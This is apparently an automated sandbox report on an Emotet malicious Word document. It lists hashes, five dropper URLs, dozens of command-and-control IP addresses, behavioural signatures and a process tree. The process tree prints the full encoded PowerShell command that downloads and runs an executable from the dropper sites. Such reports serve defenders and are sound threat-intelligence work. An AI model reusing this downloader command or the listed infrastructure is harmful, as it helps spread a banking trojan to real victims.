emotet | 69aad8b30bf71211ae9950bb6ba0f258d420597413f988aa094e5e6f15dae70b

Analysis

max time kernel
147s
max time network
150s
platform
windows10_x64
resource
win10v200722
submitted
17/08/2020, 20:56

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General

Target
emotet_e3_69aad8b30bf71211ae9950bb6ba0f258d420597413f988aa094e5e6f15dae70b_2020-08-17__205533._doc.doc
Size 234KB
Sample200817-desynczexx
SHA256 69aad8b30bf71211ae9950bb6ba0f258d420597413f988aa094e5e6f15dae70b
MD5 0c272594ce331bfe607b2df37c9f2fef
SHA1 008ccce75cf747a1ac6a78868d892933d3ebfafd
SHA512 01cf8d0bb872a4b906f65c6d7261793928c6e30aa4f6434a1d8c4005a9b1b6be00da06d3a4ffdd59fc4123501a298a1e6fb3cba7588c365e47af1e71b7dc5e77
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://b3shop.net/calendar/LgZgcv/
exe.dropper
http://magazine-lib.com/wp-content/3nng7e9a6b416342/
exe.dropper
http://nourishmentjuices.com/wp-content/mkyecobz2597/
exe.dropper
http://marthecornelie.com/pcntb/wyqAVe3g95374/
exe.dropper
https://haikouweixun.com/jn5/z08vog5472/

Extracted

Family

emotet

186.109.104.67:80
185.86.148.68:443
139.99.157.213:8080
203.153.216.178:7080
192.163.221.191:8080
201.235.10.215:80
37.46.129.215:8080
78.189.60.109:443
77.74.78.80:443
143.95.101.72:8080
188.251.213.180:443
31.146.61.34:80
190.53.144.120:80
105.209.235.113:8080
115.78.11.155:80
172.96.190.154:8080
50.116.78.109:8080
188.0.135.237:80
179.62.238.49:80
197.83.232.19:80
92.24.51.238:80
115.165.3.213:80
177.144.130.105:443
139.59.12.63:8080
107.161.30.122:8080
182.176.95.147:80
181.134.9.162:80
179.5.118.12:80
198.57.203.63:8080
51.38.201.19:7080
187.64.128.197:80
176.9.93.82:7080
115.79.195.246:80
46.105.131.68:8080
91.83.93.103:443
87.106.231.60:8080
195.201.56.70:8080
185.142.236.163:443
181.114.114.203:80
192.241.220.183:8080
182.187.139.200:8080
217.199.160.224:8080
190.190.15.20:80
46.32.229.152:8080
202.5.47.71:80
71.57.180.213:80
178.33.167.120:8080
181.113.229.139:443
66.61.94.36:80
216.75.37.196:8080
86.57.216.23:80
74.208.173.91:8080
81.214.253.80:443
172.105.78.244:8080
157.7.164.178:8081
185.208.226.142:8080
177.94.227.143:80
105.213.67.88:80
97.104.107.190:80
5.79.70.250:8080
75.127.14.170:8080
81.17.93.134:80
41.185.29.128:8080
190.212.140.6:80
113.161.148.81:80
177.32.8.85:80
105.184.233.166:80
201.213.177.139:80
177.37.81.212:443
192.210.217.94:8080
190.164.75.175:80
41.84.237.198:443
212.112.113.235:80
203.153.216.182:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1932	592	powersheLL.exe	66

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3388-12-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/3388-12-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/3168-15-0x0000000000920000-0x000000000092C000-memory.dmp	emotet
behavioral2/memory/3168-15-0x0000000000920000-0x000000000092C000-memory.dmp	emotet
behavioral2/memory/3388-19-0x0000000000000000-mapping.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
13	1932	powersheLL.exe
15	1932	powersheLL.exe
17	1932	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3388	Ojrv0x9y.exe
3168	ureg.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\fdBthProxy\ureg.exe	Ojrv0x9y.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1180	3388	WerFault.exe	76

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3824	WINWORD.EXE
3824	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
1932	powersheLL.exe
1932	powersheLL.exe
1932	powersheLL.exe
3168	ureg.exe
3168	ureg.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
1180	WerFault.exe
3168	ureg.exe
3168	ureg.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1932	powersheLL.exe
Token: SeRestorePrivilege	1180	WerFault.exe
Token: SeBackupPrivilege	1180	WerFault.exe
Token: SeDebugPrivilege	1180	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3824	WINWORD.EXE
3824	WINWORD.EXE
3824	WINWORD.EXE
3824	WINWORD.EXE
3824	WINWORD.EXE
3824	WINWORD.EXE
3824	WINWORD.EXE
3824	WINWORD.EXE
3824	WINWORD.EXE
3388	Ojrv0x9y.exe
3388	Ojrv0x9y.exe
3168	ureg.exe
3168	ureg.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1932 wrote to memory of 3388	1932	powersheLL.exe	76
PID 1932 wrote to memory of 3388	1932	powersheLL.exe	76
PID 1932 wrote to memory of 3388	1932	powersheLL.exe	76
PID 3388 wrote to memory of 3168	3388	Ojrv0x9y.exe	78
PID 3388 wrote to memory of 3168	3388	Ojrv0x9y.exe	78
PID 3388 wrote to memory of 3168	3388	Ojrv0x9y.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_69aad8b30bf71211ae9950bb6ba0f258d420597413f988aa094e5e6f15dae70b_2020-08-17__205533._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3824

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABYAHEAeQB4AGYAcwB2AD0AKAAnAE4ANQAnACsAJwBjAGEAYwB2ADgAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgBUAGUAbQBwAFwATwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAYABSAGAASQBUAGAAWQBQAHIAbwBUAE8AYABDAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACcAcwAxADIALAAnACsAJwAgAHQAbABzACcAKwAnADEAMQAnACsAJwAsACAAdABsAHMAJwApADsAJABaADQAOABkADcAYwB4ACAAPQAgACgAJwBPAGoAJwArACcAcgAnACsAJwB2ADAAeAA5AHkAJwApADsAJABOAHoAawAyAGYAdABfAD0AKAAnAEYAYwAnACsAJwB4ADUAZQB3ACcAKwAnAG4AJwApADsAJABXADUAZwBxAHgAYgA2AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBqACcAKwAnAEwAYwAnACsAJwBPAGYAZgBpAGMAZQAyADAAMQA5ACcAKwAnAGoATAAnACsAJwBjACcAKQAuACIAcgBlAHAAbABgAEEAQwBFACIAKAAoAFsAQwBoAEEAcgBdADEAMAA2ACsAWwBDAGgAQQByAF0ANwA2ACsAWwBDAGgAQQByAF0AOQA5ACkALAAnAFwAJwApACkAKwAkAFoANAA4AGQANwBjAHgAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOAA0ADAANgBwAHAAPQAoACcARQB0AHcAJwArACcAdgBiAGUAJwArACcAawAnACkAOwAkAEYAbABfAG0AcABlAGMAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAQwBsAEkARQBOAHQAOwAkAFMANgBfAHkAZAB5AGkAPQAoACcAaAB0AHQAcAA6AC8AJwArACcALwBiADMAcwBoAG8AcAAnACsAJwAuAG4AZQB0ACcAKwAnAC8AJwArACcAYwBhAGwAJwArACcAZQBuACcAKwAnAGQAYQAnACsAJwByAC8ATABnAFoAZwBjAHYALwAqAGgAdAB0AHAAOgAvAC8AbQBhAGcAYQB6AGkAbgBlAC0AJwArACcAbABpAGIALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAtAGMAbwBuAHQAZQAnACsAJwBuAHQAJwArACcALwAnACsAJwAzAG4AbgBnADcAZQA5AGEANgBiACcAKwAnADQAMQA2ADMANAAyAC8AKgBoAHQAdABwADoALwAvACcAKwAnAG4AbwB1AHIAJwArACcAaQBzAGgAJwArACcAbQBlAG4AdABqAHUAJwArACcAaQBjAGUAJwArACcAcwAuAGMAbwAnACsAJwBtAC8AJwArACcAdwBwAC0AJwArACcAYwBvAG4AJwArACcAdAAnACsAJwBlACcAKwAnAG4AdAAnACsAJwAvAG0AawAnACsAJwB5AGUAYwBvAGIAegAyADUAJwArACcAOQA3ACcAKwAnAC8AJwArACcAKgBoAHQAdAAnACsAJwBwADoALwAvAG0AYQByACcAKwAnAHQAaAAnACsAJwBlAGMAbwByAG4AZQBsAGkAZQAuAGMAJwArACcAbwBtAC8AcABjAG4AdABiAC8AdwB5AHEAQQBWAGUAMwBnADkANQAzADcAJwArACcANAAvACoAJwArACcAaAB0AHQAJwArACcAcABzADoALwAvAGgAYQBpACcAKwAnAGsAbwAnACsAJwB1ACcAKwAnAHcAZQBpAHgAdQBuAC4AYwAnACsAJwBvAG0ALwBqAG4ANQAnACsAJwAvAHoAJwArACcAMAAnACsAJwA4AHYAbwBnADUANAA3ADIALwAnACkALgAiAHMAcABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWgB5AHgANQBrAGcAbwA9ACgAJwBDAGcANwAnACsAJwBzACcAKwAnAGoANwBxACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAcgBrAF8AZAByADIAIABpAG4AIAAkAFMANgBfAHkAZAB5AGkAKQB7AHQAcgB5AHsAJABGAGwAXwBtAHAAZQBjAC4AIgBEAGAATwB3AGAATgBMAG8AYQBkAGYAaQBgAGwAZQAiACgAJABCAHIAawBfAGQAcgAyACwAIAAkAFcANQBnAHEAeABiADYAKQA7ACQARABtADEAMQBlADEAZgA9ACgAJwBHAG8AJwArACcAdgAnACsAJwB3ADgAcAA0ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABXADUAZwBxAHgAYgA2ACkALgAiAEwARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMgAxADYANwAyACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAFcANQBnAHEAeABiADYAKQA7ACQAQwA2AHIAMAB0ADAAZAA9ACgAJwBOADcAegB1ADkAJwArACcAeAAnACsAJwBrACcAKQA7AGIAcgBlAGEAawA7ACQAWgBxAHoAcAB2AHAAagA9ACgAJwBPAHUAOAB2ACcAKwAnADMAbwB5ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQAxAGYAYgBfAHoAdgA9ACgAJwBRACcAKwAnAGgAdwA2AHIAdABtACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Users\Admin\AppData\Local\Temp\Office2019\Ojrv0x9y.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Ojrv0x9y.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\SysWOW64\fdBthProxy\ureg.exe
    "C:\Windows\SysWOW64\fdBthProxy\ureg.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3168
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3388 -s 1008
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1180

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1180-21-0x0000000004E60000-0x0000000004E61000-memory.dmp

Download

memory/1180-17-0x00000000045C0000-0x00000000045C1000-memory.dmp

Download

memory/1180-16-0x00000000045C0000-0x00000000045C1000-memory.dmp

Download

memory/1932-6-0x00007FF955110000-0x00007FF955AFC000-memory.dmp

Download

memory/1932-7-0x000002E1A7EC0000-0x000002E1A7EC1000-memory.dmp

Download

memory/1932-8-0x000002E1A8070000-0x000002E1A8071000-memory.dmp

Download

memory/3168-15-0x0000000000920000-0x000000000092C000-memory.dmp

Download

memory/3388-12-0x0000000000600000-0x000000000060C000-memory.dmp

Download

memory/3824-5-0x0000025F8DF84000-0x0000025F8DF89000-memory.dmp

Download

memory/3824-4-0x0000025F8DF84000-0x0000025F8DF89000-memory.dmp

Download

memory/3824-0-0x00007FF95C7D0000-0x00007FF95CE96000-memory.dmp

Download

memory/3824-3-0x0000025F8DF7F000-0x0000025F8DF84000-memory.dmp

Download

memory/3824-2-0x0000025F8959B000-0x0000025F895C2000-memory.dmp

Download

memory/3824-1-0x0000025F8959B000-0x0000025F895C2000-memory.dmp

Download